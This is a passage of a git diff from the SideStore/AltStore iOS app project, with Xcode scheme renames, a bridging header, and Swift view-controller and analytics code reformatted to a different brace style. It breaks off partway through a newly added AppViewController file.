</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
</ProfileAction> </ProfileAction>

View File

@@ -17,7 +17,7 @@
BlueprintIdentifier = "BFD247692284B9A500981D42" BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app" BuildableName = "SideStore.app"
BlueprintName = "SideStore" BlueprintName = "SideStore"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
</BuildActionEntries> </BuildActionEntries>
@@ -47,7 +47,7 @@
BlueprintIdentifier = "BFD247692284B9A500981D42" BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app" BuildableName = "SideStore.app"
BlueprintName = "SideStore" BlueprintName = "SideStore"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
<CommandLineArguments> <CommandLineArguments>
@@ -70,7 +70,7 @@
BlueprintIdentifier = "BFD247692284B9A500981D42" BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app" BuildableName = "SideStore.app"
BlueprintName = "SideStore" BlueprintName = "SideStore"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
</ProfileAction> </ProfileAction>

View File

@@ -17,7 +17,7 @@
BlueprintIdentifier = "BFD247692284B9A500981D42" BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app" BuildableName = "SideStore.app"
BlueprintName = "SideStore" BlueprintName = "SideStore"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
</BuildActionEntries> </BuildActionEntries>
@@ -47,7 +47,7 @@
BlueprintIdentifier = "BFD247692284B9A500981D42" BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app" BuildableName = "SideStore.app"
BlueprintName = "SideStore" BlueprintName = "SideStore"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
<CommandLineArguments> <CommandLineArguments>
@@ -70,7 +70,7 @@
BlueprintIdentifier = "BFD247692284B9A500981D42" BlueprintIdentifier = "BFD247692284B9A500981D42"
BuildableName = "SideStore.app" BuildableName = "SideStore.app"
BlueprintName = "SideStore" BlueprintName = "SideStore"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
</ProfileAction> </ProfileAction>

View File

@@ -17,7 +17,7 @@
BlueprintIdentifier = "BFF7C903257844C900E55F36" BlueprintIdentifier = "BFF7C903257844C900E55F36"
BuildableName = "AltXPC.xpc" BuildableName = "AltXPC.xpc"
BlueprintName = "AltXPC" BlueprintName = "AltXPC"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildActionEntry> </BuildActionEntry>
</BuildActionEntries> </BuildActionEntries>
@@ -47,7 +47,7 @@
BlueprintIdentifier = "BF45868C229872EA00BD7491" BlueprintIdentifier = "BF45868C229872EA00BD7491"
BuildableName = "AltServer.app" BuildableName = "AltServer.app"
BlueprintName = "AltServer" BlueprintName = "AltServer"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</BuildableProductRunnable> </BuildableProductRunnable>
</LaunchAction> </LaunchAction>
@@ -63,7 +63,7 @@
BlueprintIdentifier = "BFF7C903257844C900E55F36" BlueprintIdentifier = "BFF7C903257844C900E55F36"
BuildableName = "AltXPC.xpc" BuildableName = "AltXPC.xpc"
BlueprintName = "AltXPC" BlueprintName = "AltXPC"
ReferencedContainer = "container:SideStore.xcodeproj"> ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference> </BuildableReference>
</MacroExpansion> </MacroExpansion>
</ProfileAction> </ProfileAction>

View File

@@ -0,0 +1,12 @@
//
// Use this file to import your target's public headers that you would like to expose to Swift.
//
#import "NSAttributedString+Markdown.h"
#import "ALTAppPatcher.h"
#import "grant_fda.h"
#import "vm_unalign_csr.h"
#import "helping_tools.h"
#include "fragmentzip.h"

View File

@@ -4,8 +4,6 @@
<dict> <dict>
<key>aps-environment</key> <key>aps-environment</key>
<string>development</string> <string>development</string>
<key>com.apple.developer.kernel.increased-memory-limit</key>
<true/>
<key>com.apple.developer.siri</key> <key>com.apple.developer.siri</key>
<true/> <true/>
<key>com.apple.security.application-groups</key> <key>com.apple.security.application-groups</key>

View File

@@ -8,7 +8,7 @@
import Foundation import Foundation
import SideStoreCore import AltStoreCore
import AppCenter import AppCenter
import AppCenterAnalytics import AppCenterAnalytics
@@ -16,8 +16,10 @@ import AppCenterCrashes
private let appCenterAppSecret = "73532d3e-e573-4693-99a4-9f85840bbb44" private let appCenterAppSecret = "73532d3e-e573-4693-99a4-9f85840bbb44"
public extension AnalyticsManager { extension AnalyticsManager
enum EventProperty: String { {
enum EventProperty: String
{
case name case name
case bundleIdentifier case bundleIdentifier
case developerName case developerName
@@ -28,24 +30,27 @@ public extension AnalyticsManager {
case sourceURL case sourceURL
} }
enum Event { enum Event
{
case installedApp(InstalledApp) case installedApp(InstalledApp)
case updatedApp(InstalledApp) case updatedApp(InstalledApp)
case refreshedApp(InstalledApp) case refreshedApp(InstalledApp)
public var name: String { var name: String {
switch self { switch self
{
case .installedApp: return "installed_app" case .installedApp: return "installed_app"
case .updatedApp: return "updated_app" case .updatedApp: return "updated_app"
case .refreshedApp: return "refreshed_app" case .refreshedApp: return "refreshed_app"
} }
} }
public var properties: [EventProperty: String] { var properties: [EventProperty: String] {
let properties: [EventProperty: String?] let properties: [EventProperty: String?]
switch self { switch self
case let .installedApp(app), let .updatedApp(app), let .refreshedApp(app): {
case .installedApp(let app), .updatedApp(let app), .refreshedApp(let app):
let appBundleURL = InstalledApp.fileURL(for: app) let appBundleURL = InstalledApp.fileURL(for: app)
let appBundleSize = FileManager.default.directorySize(at: appBundleURL) let appBundleSize = FileManager.default.directorySize(at: appBundleURL)
@@ -66,22 +71,28 @@ public extension AnalyticsManager {
} }
} }
public final class AnalyticsManager { final class AnalyticsManager
public static let shared = AnalyticsManager() {
static let shared = AnalyticsManager()
private init() {} private init()
{
}
} }
public extension AnalyticsManager { extension AnalyticsManager
func start() { {
func start()
{
AppCenter.start(withAppSecret: appCenterAppSecret, services: [ AppCenter.start(withAppSecret: appCenterAppSecret, services: [
Analytics.self, Analytics.self,
Crashes.self Crashes.self
]) ])
} }
func trackEvent(_ event: Event) { func trackEvent(_ event: Event)
let properties = event.properties.reduce(into: [:]) { properties, item in {
let properties = event.properties.reduce(into: [:]) { (properties, item) in
properties[item.key.rawValue] = item.value properties[item.key.rawValue] = item.value
} }

View File

@@ -8,17 +8,15 @@
import UIKit import UIKit
import SideStoreCore import AltStoreCore
import RoxasUIKit import Roxas
import OSLog
#if canImport(Logging)
import Logging
#endif
import Nuke import Nuke
extension AppContentViewController { extension AppContentViewController
private enum Row: Int, CaseIterable { {
private enum Row: Int, CaseIterable
{
case subtitle case subtitle
case screenshots case screenshots
case description case description
@@ -27,7 +25,8 @@ extension AppContentViewController {
} }
} }
final class AppContentViewController: UITableViewController { final class AppContentViewController: UITableViewController
{
var app: StoreApp! var app: StoreApp!
private lazy var screenshotsDataSource = self.makeScreenshotsDataSource() private lazy var screenshotsDataSource = self.makeScreenshotsDataSource()
@@ -68,56 +67,62 @@ final class AppContentViewController: UITableViewController {
return CGSize(width: itemWidth, height: itemHeight) return CGSize(width: itemWidth, height: itemHeight)
} }
override func viewDidLoad() { override func viewDidLoad()
{
super.viewDidLoad() super.viewDidLoad()
tableView.contentInset.bottom = 20 self.tableView.contentInset.bottom = 20
screenshotsCollectionView.dataSource = screenshotsDataSource self.screenshotsCollectionView.dataSource = self.screenshotsDataSource
screenshotsCollectionView.prefetchDataSource = screenshotsDataSource self.screenshotsCollectionView.prefetchDataSource = self.screenshotsDataSource
permissionsCollectionView.dataSource = permissionsDataSource self.permissionsCollectionView.dataSource = self.permissionsDataSource
subtitleLabel.text = app.subtitle self.subtitleLabel.text = self.app.subtitle
descriptionTextView.text = app.localizedDescription self.descriptionTextView.text = self.app.localizedDescription
if let version = app.latestVersion { if let version = self.app.latestVersion
versionDescriptionTextView.text = version.localizedDescription {
versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), version.version) self.versionDescriptionTextView.text = version.localizedDescription
versionDateLabel.text = Date().relativeDateString(since: version.date, dateFormatter: dateFormatter) self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), version.version)
sizeLabel.text = byteCountFormatter.string(fromByteCount: version.size) self.versionDateLabel.text = Date().relativeDateString(since: version.date, dateFormatter: self.dateFormatter)
} else { self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: version.size)
versionDescriptionTextView.text = nil }
versionLabel.text = nil else
versionDateLabel.text = nil {
sizeLabel.text = byteCountFormatter.string(fromByteCount: 0) self.versionDescriptionTextView.text = nil
self.versionLabel.text = nil
self.versionDateLabel.text = nil
self.sizeLabel.text = self.byteCountFormatter.string(fromByteCount: 0)
} }
descriptionTextView.maximumNumberOfLines = 5 self.descriptionTextView.maximumNumberOfLines = 5
descriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered) self.descriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered)
versionDescriptionTextView.maximumNumberOfLines = 3 self.versionDescriptionTextView.maximumNumberOfLines = 3
versionDescriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered) self.versionDescriptionTextView.moreButton.addTarget(self, action: #selector(AppContentViewController.toggleCollapsingSection(_:)), for: .primaryActionTriggered)
} }
override func viewDidLayoutSubviews() { override func viewDidLayoutSubviews()
{
super.viewDidLayoutSubviews() super.viewDidLayoutSubviews()
guard var size = preferredScreenshotSize else { return } guard var size = self.preferredScreenshotSize else { return }
size.height = min(size.height, screenshotsCollectionView.bounds.height) // Silence temporary "item too tall" warning. size.height = min(size.height, self.screenshotsCollectionView.bounds.height) // Silence temporary "item too tall" warning.
let layout = screenshotsCollectionView.collectionViewLayout as! UICollectionViewFlowLayout let layout = self.screenshotsCollectionView.collectionViewLayout as! UICollectionViewFlowLayout
layout.itemSize = size layout.itemSize = size
} }
override func prepare(for segue: UIStoryboardSegue, sender: Any?) { override func prepare(for segue: UIStoryboardSegue, sender: Any?)
{
guard segue.identifier == "showPermission" else { return } guard segue.identifier == "showPermission" else { return }
guard let cell = sender as? UICollectionViewCell, let indexPath = permissionsCollectionView.indexPath(for: cell) else { return } guard let cell = sender as? UICollectionViewCell, let indexPath = self.permissionsCollectionView.indexPath(for: cell) else { return }
let permission = permissionsDataSource.item(at: indexPath) let permission = self.permissionsDataSource.item(at: indexPath)
let maximumWidth = view.bounds.width - 20 let maximumWidth = self.view.bounds.width - 20
let permissionPopoverViewController = segue.destination as! PermissionPopoverViewController let permissionPopoverViewController = segue.destination as! PermissionPopoverViewController
permissionPopoverViewController.permission = permission permissionPopoverViewController.permission = permission
@@ -128,48 +133,55 @@ final class AppContentViewController: UITableViewController {
permissionPopoverViewController.popoverPresentationController?.delegate = self permissionPopoverViewController.popoverPresentationController?.delegate = self
permissionPopoverViewController.popoverPresentationController?.sourceRect = cell.frame permissionPopoverViewController.popoverPresentationController?.sourceRect = cell.frame
permissionPopoverViewController.popoverPresentationController?.sourceView = permissionsCollectionView permissionPopoverViewController.popoverPresentationController?.sourceView = self.permissionsCollectionView
} }
} }
private extension AppContentViewController { private extension AppContentViewController
func makeScreenshotsDataSource() -> RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage> { {
let dataSource = RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage>(items: app.screenshotURLs as [NSURL]) func makeScreenshotsDataSource() -> RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage>
dataSource.cellConfigurationHandler = { cell, _, _ in {
let dataSource = RSTArrayCollectionViewPrefetchingDataSource<NSURL, UIImage>(items: self.app.screenshotURLs as [NSURL])
dataSource.cellConfigurationHandler = { (cell, screenshot, indexPath) in
let cell = cell as! ScreenshotCollectionViewCell let cell = cell as! ScreenshotCollectionViewCell
cell.imageView.image = nil cell.imageView.image = nil
cell.imageView.isIndicatingActivity = true cell.imageView.isIndicatingActivity = true
} }
dataSource.prefetchHandler = { imageURL, _, completionHandler in dataSource.prefetchHandler = { (imageURL, indexPath, completionHandler) in
RSTAsyncBlockOperation { operation in return RSTAsyncBlockOperation() { (operation) in
let request = ImageRequest(url: imageURL as URL, processor: .screenshot) let request = ImageRequest(url: imageURL as URL, processor: .screenshot)
ImagePipeline.shared.loadImage(with: request, progress: nil, completion: { response, error in ImagePipeline.shared.loadImage(with: request, progress: nil, completion: { (response, error) in
guard !operation.isCancelled else { return operation.finish() } guard !operation.isCancelled else { return operation.finish() }
if let image = response?.image { if let image = response?.image
{
completionHandler(image, nil) completionHandler(image, nil)
} else { }
else
{
completionHandler(nil, error) completionHandler(nil, error)
} }
}) })
} }
} }
dataSource.prefetchCompletionHandler = { cell, image, _, error in dataSource.prefetchCompletionHandler = { (cell, image, indexPath, error) in
let cell = cell as! ScreenshotCollectionViewCell let cell = cell as! ScreenshotCollectionViewCell
cell.imageView.isIndicatingActivity = false cell.imageView.isIndicatingActivity = false
cell.imageView.image = image cell.imageView.image = image
if let error = error { if let error = error
os_log("Error loading image: %@", type: .error, error.localizedDescription) {
print("Error loading image:", error)
} }
} }
return dataSource return dataSource
} }
func makePermissionsDataSource() -> RSTArrayCollectionViewDataSource<AppPermission> { func makePermissionsDataSource() -> RSTArrayCollectionViewDataSource<AppPermission>
let dataSource = RSTArrayCollectionViewDataSource(items: app.permissions) {
dataSource.cellConfigurationHandler = { cell, permission, _ in let dataSource = RSTArrayCollectionViewDataSource(items: self.app.permissions)
dataSource.cellConfigurationHandler = { (cell, permission, indexPath) in
let cell = cell as! PermissionCollectionViewCell let cell = cell as! PermissionCollectionViewCell
cell.button.setImage(permission.type.icon, for: .normal) cell.button.setImage(permission.type.icon, for: .normal)
cell.button.tintColor = .label cell.button.tintColor = .label
@@ -180,13 +192,16 @@ private extension AppContentViewController {
} }
} }
private extension AppContentViewController { private extension AppContentViewController
@objc func toggleCollapsingSection(_ sender: UIButton) { {
@objc func toggleCollapsingSection(_ sender: UIButton)
{
let indexPath: IndexPath let indexPath: IndexPath
switch sender { switch sender
case descriptionTextView.moreButton: indexPath = IndexPath(row: Row.description.rawValue, section: 0) {
case versionDescriptionTextView.moreButton: indexPath = IndexPath(row: Row.versionDescription.rawValue, section: 0) case self.descriptionTextView.moreButton: indexPath = IndexPath(row: Row.description.rawValue, section: 0)
case self.versionDescriptionTextView.moreButton: indexPath = IndexPath(row: Row.versionDescription.rawValue, section: 0)
default: return default: return
} }
@@ -197,19 +212,23 @@ private extension AppContentViewController {
} }
} }
extension AppContentViewController { extension AppContentViewController
override func tableView(_: UITableView, willDisplay cell: UITableViewCell, forRowAt _: IndexPath) { {
cell.tintColor = app.tintColor override func tableView(_ tableView: UITableView, willDisplay cell: UITableViewCell, forRowAt indexPath: IndexPath)
{
cell.tintColor = self.app.tintColor
} }
override func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { override func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat
switch Row.allCases[indexPath.row] { {
switch Row.allCases[indexPath.row]
{
case .screenshots: case .screenshots:
guard let size = preferredScreenshotSize else { return 0.0 } guard let size = self.preferredScreenshotSize else { return 0.0 }
return size.height return size.height
case .permissions: case .permissions:
guard !app.permissions.isEmpty else { return 0.0 } guard !self.app.permissions.isEmpty else { return 0.0 }
return super.tableView(tableView, heightForRowAt: indexPath) return super.tableView(tableView, heightForRowAt: indexPath)
default: default:
@@ -218,8 +237,10 @@ extension AppContentViewController {
} }
} }
extension AppContentViewController: UIPopoverPresentationControllerDelegate { extension AppContentViewController: UIPopoverPresentationControllerDelegate
func adaptivePresentationStyle(for _: UIPresentationController, traitCollection _: UITraitCollection) -> UIModalPresentationStyle { {
.none func adaptivePresentationStyle(for controller: UIPresentationController, traitCollection: UITraitCollection) -> UIModalPresentationStyle
{
return .none
} }
} }

View File

@@ -8,30 +8,33 @@
import UIKit import UIKit
@objc final class PermissionCollectionViewCell: UICollectionViewCell
final class PermissionCollectionViewCell: UICollectionViewCell { {
@IBOutlet var button: UIButton! @IBOutlet var button: UIButton!
@IBOutlet var textLabel: UILabel! @IBOutlet var textLabel: UILabel!
override func layoutSubviews() { override func layoutSubviews()
{
super.layoutSubviews() super.layoutSubviews()
button.layer.cornerRadius = button.bounds.midY self.button.layer.cornerRadius = self.button.bounds.midY
} }
override func tintColorDidChange() { override func tintColorDidChange()
{
super.tintColorDidChange() super.tintColorDidChange()
button.backgroundColor = tintColor.withAlphaComponent(0.15) self.button.backgroundColor = self.tintColor.withAlphaComponent(0.15)
textLabel.textColor = tintColor self.textLabel.textColor = self.tintColor
} }
} }
@objc final class AppContentTableViewCell: UITableViewCell
final class AppContentTableViewCell: UITableViewCell { {
override func systemLayoutSizeFitting(_ targetSize: CGSize, withHorizontalFittingPriority horizontalFittingPriority: UILayoutPriority, verticalFittingPriority: UILayoutPriority) -> CGSize { override func systemLayoutSizeFitting(_ targetSize: CGSize, withHorizontalFittingPriority horizontalFittingPriority: UILayoutPriority, verticalFittingPriority: UILayoutPriority) -> CGSize
{
// Ensure cell is laid out so it will report correct size. // Ensure cell is laid out so it will report correct size.
layoutIfNeeded() self.layoutIfNeeded()
let size = super.systemLayoutSizeFitting(targetSize, withHorizontalFittingPriority: horizontalFittingPriority, verticalFittingPriority: verticalFittingPriority) let size = super.systemLayoutSizeFitting(targetSize, withHorizontalFittingPriority: horizontalFittingPriority, verticalFittingPriority: verticalFittingPriority)

View File

@@ -0,0 +1,570 @@
//
// AppViewController.swift
// AltStore
//
// Created by Riley Testut on 7/22/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import UIKit
import AltStoreCore
import Roxas
import Nuke
final class AppViewController: UIViewController
{
var app: StoreApp!
private var contentViewController: AppContentViewController!
private var contentViewControllerShadowView: UIView!
private var blurAnimator: UIViewPropertyAnimator?
private var navigationBarAnimator: UIViewPropertyAnimator?
private var contentSizeObservation: NSKeyValueObservation?
@IBOutlet private var scrollView: UIScrollView!
@IBOutlet private var contentView: UIView!
@IBOutlet private var bannerView: AppBannerView!
@IBOutlet private var backButton: UIButton!
@IBOutlet private var backButtonContainerView: UIVisualEffectView!
@IBOutlet private var backgroundAppIconImageView: UIImageView!
@IBOutlet private var backgroundBlurView: UIVisualEffectView!
@IBOutlet private var navigationBarTitleView: UIView!
@IBOutlet private var navigationBarDownloadButton: PillButton!
@IBOutlet private var navigationBarAppIconImageView: UIImageView!
@IBOutlet private var navigationBarAppNameLabel: UILabel!
private var _shouldResetLayout = false
private var _backgroundBlurEffect: UIBlurEffect?
private var _backgroundBlurTintColor: UIColor?
private var _preferredStatusBarStyle: UIStatusBarStyle = .default
override var preferredStatusBarStyle: UIStatusBarStyle {
return _preferredStatusBarStyle
}
override func viewDidLoad()
{
super.viewDidLoad()
self.navigationBarTitleView.sizeToFit()
self.navigationItem.titleView = self.navigationBarTitleView
self.contentViewControllerShadowView = UIView()
self.contentViewControllerShadowView.backgroundColor = .white
self.contentViewControllerShadowView.layer.cornerRadius = 38
self.contentViewControllerShadowView.layer.shadowColor = UIColor.black.cgColor
self.contentViewControllerShadowView.layer.shadowOffset = CGSize(width: 0, height: -1)
self.contentViewControllerShadowView.layer.shadowRadius = 10
self.contentViewControllerShadowView.layer.shadowOpacity = 0.3
self.contentViewController.view.superview?.insertSubview(self.contentViewControllerShadowView, at: 0)
self.contentView.addGestureRecognizer(self.scrollView.panGestureRecognizer)
self.contentViewController.view.layer.cornerRadius = 38
self.contentViewController.view.layer.masksToBounds = true
self.contentViewController.tableView.panGestureRecognizer.require(toFail: self.scrollView.panGestureRecognizer)
self.contentViewController.tableView.showsVerticalScrollIndicator = false
// Bring to front so the scroll indicators are visible.
self.view.bringSubviewToFront(self.scrollView)
self.scrollView.isUserInteractionEnabled = false
self.bannerView.frame = CGRect(x: 0, y: 0, width: 300, height: 93)
self.bannerView.backgroundEffectView.effect = UIBlurEffect(style: .regular)
self.bannerView.backgroundEffectView.backgroundColor = .clear
self.bannerView.iconImageView.image = nil
self.bannerView.iconImageView.tintColor = self.app.tintColor
self.bannerView.button.tintColor = self.app.tintColor
self.bannerView.tintColor = self.app.tintColor
self.bannerView.configure(for: self.app)
self.bannerView.accessibilityTraits.remove(.button)
self.bannerView.button.addTarget(self, action: #selector(AppViewController.performAppAction(_:)), for: .primaryActionTriggered)
self.backButtonContainerView.tintColor = self.app.tintColor
self.navigationController?.navigationBar.tintColor = self.app.tintColor
self.navigationBarDownloadButton.tintColor = self.app.tintColor
self.navigationBarAppNameLabel.text = self.app.name
self.navigationBarAppIconImageView.tintColor = self.app.tintColor
self.contentSizeObservation = self.contentViewController.tableView.observe(\.contentSize) { [weak self] (tableView, change) in
self?.view.setNeedsLayout()
self?.view.layoutIfNeeded()
}
self.update()
NotificationCenter.default.addObserver(self, selector: #selector(AppViewController.didChangeApp(_:)), name: .NSManagedObjectContextObjectsDidChange, object: DatabaseManager.shared.viewContext)
NotificationCenter.default.addObserver(self, selector: #selector(AppViewController.willEnterForeground(_:)), name: UIApplication.willEnterForegroundNotification, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(AppViewController.didBecomeActive(_:)), name: UIApplication.didBecomeActiveNotification, object: nil)
self._backgroundBlurEffect = self.backgroundBlurView.effect as? UIBlurEffect
self._backgroundBlurTintColor = self.backgroundBlurView.contentView.backgroundColor
// Load Images
for imageView in [self.bannerView.iconImageView!, self.backgroundAppIconImageView!, self.navigationBarAppIconImageView!]
{
imageView.isIndicatingActivity = true
Nuke.loadImage(with: self.app.iconURL, options: .shared, into: imageView, progress: nil) { [weak imageView] (response, error) in
if response?.image != nil
{
imageView?.isIndicatingActivity = false
}
}
}
}
override func viewWillAppear(_ animated: Bool)
{
super.viewWillAppear(animated)
self.prepareBlur()
// Update blur immediately.
self.view.setNeedsLayout()
self.view.layoutIfNeeded()
self.transitionCoordinator?.animate(alongsideTransition: { (context) in
self.hideNavigationBar()
}, completion: nil)
}
override func viewDidAppear(_ animated: Bool)
{
super.viewDidAppear(animated)
self._shouldResetLayout = true
self.view.setNeedsLayout()
self.view.layoutIfNeeded()
}
override func viewWillDisappear(_ animated: Bool)
{
super.viewWillDisappear(animated)
// Guard against "dismissing" when presenting via 3D Touch pop.
guard self.navigationController != nil else { return }
// Store reference since self.navigationController will be nil after disappearing.
let navigationController = self.navigationController
navigationController?.navigationBar.barStyle = .default // Don't animate, or else status bar might appear messed-up.
self.transitionCoordinator?.animate(alongsideTransition: { (context) in
self.showNavigationBar(for: navigationController)
}, completion: { (context) in
if !context.isCancelled
{
self.showNavigationBar(for: navigationController)
}
})
}
override func viewDidDisappear(_ animated: Bool)
{
super.viewDidDisappear(animated)
if self.navigationController == nil
{
self.resetNavigationBarAnimation()
}
}
override func prepare(for segue: UIStoryboardSegue, sender: Any?)
{
guard segue.identifier == "embedAppContentViewController" else { return }
self.contentViewController = segue.destination as? AppContentViewController
self.contentViewController.app = self.app
if #available(iOS 15, *)
{
// Fix navigation bar + tab bar appearance on iOS 15.
self.setContentScrollView(self.scrollView)
self.navigationItem.scrollEdgeAppearance = self.navigationController?.navigationBar.standardAppearance
}
}
override func viewDidLayoutSubviews()
{
super.viewDidLayoutSubviews()
if self._shouldResetLayout
{
// Various events can cause UI to mess up, so reset affected components now.
if self.navigationController?.topViewController == self
{
self.hideNavigationBar()
}
self.prepareBlur()
// Reset navigation bar animation, and create a new one later in this method if necessary.
self.resetNavigationBarAnimation()
self._shouldResetLayout = false
}
let statusBarHeight = UIApplication.shared.statusBarFrame.height
let cornerRadius = self.contentViewControllerShadowView.layer.cornerRadius
let inset = 12 as CGFloat
let padding = 20 as CGFloat
let backButtonSize = self.backButton.sizeThatFits(CGSize(width: 1000, height: 1000))
var backButtonFrame = CGRect(x: inset, y: statusBarHeight,
width: backButtonSize.width + 20, height: backButtonSize.height + 20)
var headerFrame = CGRect(x: inset, y: 0, width: self.view.bounds.width - inset * 2, height: self.bannerView.bounds.height)
var contentFrame = CGRect(x: 0, y: 0, width: self.view.bounds.width, height: self.view.bounds.height)
var backgroundIconFrame = CGRect(x: 0, y: 0, width: self.view.bounds.width, height: self.view.bounds.width)
let minimumHeaderY = backButtonFrame.maxY + 8
let minimumContentY = minimumHeaderY + headerFrame.height + padding
let maximumContentY = self.view.bounds.width * 0.667
// A full blur is too much, so we reduce the visible blur by 0.3, resulting in 70% blur.
let minimumBlurFraction = 0.3 as CGFloat
contentFrame.origin.y = maximumContentY - self.scrollView.contentOffset.y
headerFrame.origin.y = contentFrame.origin.y - padding - headerFrame.height
// Stretch the app icon image to fill additional vertical space if necessary.
let height = max(contentFrame.origin.y + cornerRadius * 2, backgroundIconFrame.height)
backgroundIconFrame.size.height = height
let blurThreshold = 0 as CGFloat
if self.scrollView.contentOffset.y < blurThreshold
{
// Determine how much to lessen blur by.
let range = 75 as CGFloat
let difference = -self.scrollView.contentOffset.y
let fraction = min(difference, range) / range
let fractionComplete = (fraction * (1.0 - minimumBlurFraction)) + minimumBlurFraction
self.blurAnimator?.fractionComplete = fractionComplete
}
else
{
// Set blur to default.
self.blurAnimator?.fractionComplete = minimumBlurFraction
}
// Animate navigation bar.
let showNavigationBarThreshold = (maximumContentY - minimumContentY) + backButtonFrame.origin.y
if self.scrollView.contentOffset.y > showNavigationBarThreshold
{
if self.navigationBarAnimator == nil
{
self.prepareNavigationBarAnimation()
}
let difference = self.scrollView.contentOffset.y - showNavigationBarThreshold
let range = (headerFrame.height + padding) - (self.navigationController?.navigationBar.bounds.height ?? self.view.safeAreaInsets.top)
let fractionComplete = min(difference, range) / range
self.navigationBarAnimator?.fractionComplete = fractionComplete
}
else
{
self.resetNavigationBarAnimation()
}
let beginMovingBackButtonThreshold = (maximumContentY - minimumContentY)
if self.scrollView.contentOffset.y > beginMovingBackButtonThreshold
{
let difference = self.scrollView.contentOffset.y - beginMovingBackButtonThreshold
backButtonFrame.origin.y -= difference
}
let pinContentToTopThreshold = maximumContentY
if self.scrollView.contentOffset.y > pinContentToTopThreshold
{
contentFrame.origin.y = 0
backgroundIconFrame.origin.y = 0
let difference = self.scrollView.contentOffset.y - pinContentToTopThreshold
self.contentViewController.tableView.contentOffset.y = difference
}
else
{
// Keep content table view's content offset at the top.
self.contentViewController.tableView.contentOffset.y = 0
}
// Keep background app icon centered in gap between top of content and top of screen.
backgroundIconFrame.origin.y = (contentFrame.origin.y / 2) - backgroundIconFrame.height / 2
// Set frames.
self.contentViewController.view.superview?.frame = contentFrame
self.bannerView.frame = headerFrame
self.backgroundAppIconImageView.frame = backgroundIconFrame
self.backgroundBlurView.frame = backgroundIconFrame
self.backButtonContainerView.frame = backButtonFrame
self.contentViewControllerShadowView.frame = self.contentViewController.view.frame
self.backButtonContainerView.layer.cornerRadius = self.backButtonContainerView.bounds.midY
self.scrollView.scrollIndicatorInsets.top = statusBarHeight
// Adjust content offset + size.
let contentOffset = self.scrollView.contentOffset
var contentSize = self.contentViewController.tableView.contentSize
contentSize.height += maximumContentY
self.scrollView.contentSize = contentSize
self.scrollView.contentOffset = contentOffset
self.bannerView.backgroundEffectView.backgroundColor = .clear
}
override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?)
{
super.traitCollectionDidChange(previousTraitCollection)
self._shouldResetLayout = true
}
deinit
{
self.blurAnimator?.stopAnimation(true)
self.navigationBarAnimator?.stopAnimation(true)
}
}
extension AppViewController
{
final class func makeAppViewController(app: StoreApp) -> AppViewController
{
let storyboard = UIStoryboard(name: "Main", bundle: nil)
let appViewController = storyboard.instantiateViewController(withIdentifier: "appViewController") as! AppViewController
appViewController.app = app
return appViewController
}
}
private extension AppViewController
{
func update()
{
for button in [self.bannerView.button!, self.navigationBarDownloadButton!]
{
button.tintColor = self.app.tintColor
button.isIndicatingActivity = false
if self.app.installedApp == nil
{
button.setTitle(NSLocalizedString("FREE", comment: ""), for: .normal)
}
else
{
button.setTitle(NSLocalizedString("OPEN", comment: ""), for: .normal)
}
let progress = AppManager.shared.installationProgress(for: self.app)
button.progress = progress
}
if let versionDate = self.app.latestVersion?.date, versionDate > Date()
{
self.bannerView.button.countdownDate = versionDate
self.navigationBarDownloadButton.countdownDate = versionDate
}
else
{
self.bannerView.button.countdownDate = nil
self.navigationBarDownloadButton.countdownDate = nil
}
let barButtonItem = self.navigationItem.rightBarButtonItem
self.navigationItem.rightBarButtonItem = nil
self.navigationItem.rightBarButtonItem = barButtonItem
}
func showNavigationBar(for navigationController: UINavigationController? = nil)
{
let navigationController = navigationController ?? self.navigationController
navigationController?.navigationBar.alpha = 1.0
navigationController?.navigationBar.tintColor = .altPrimary
navigationController?.navigationBar.setNeedsLayout()
if self.traitCollection.userInterfaceStyle == .dark
{
self._preferredStatusBarStyle = .lightContent
}
else
{
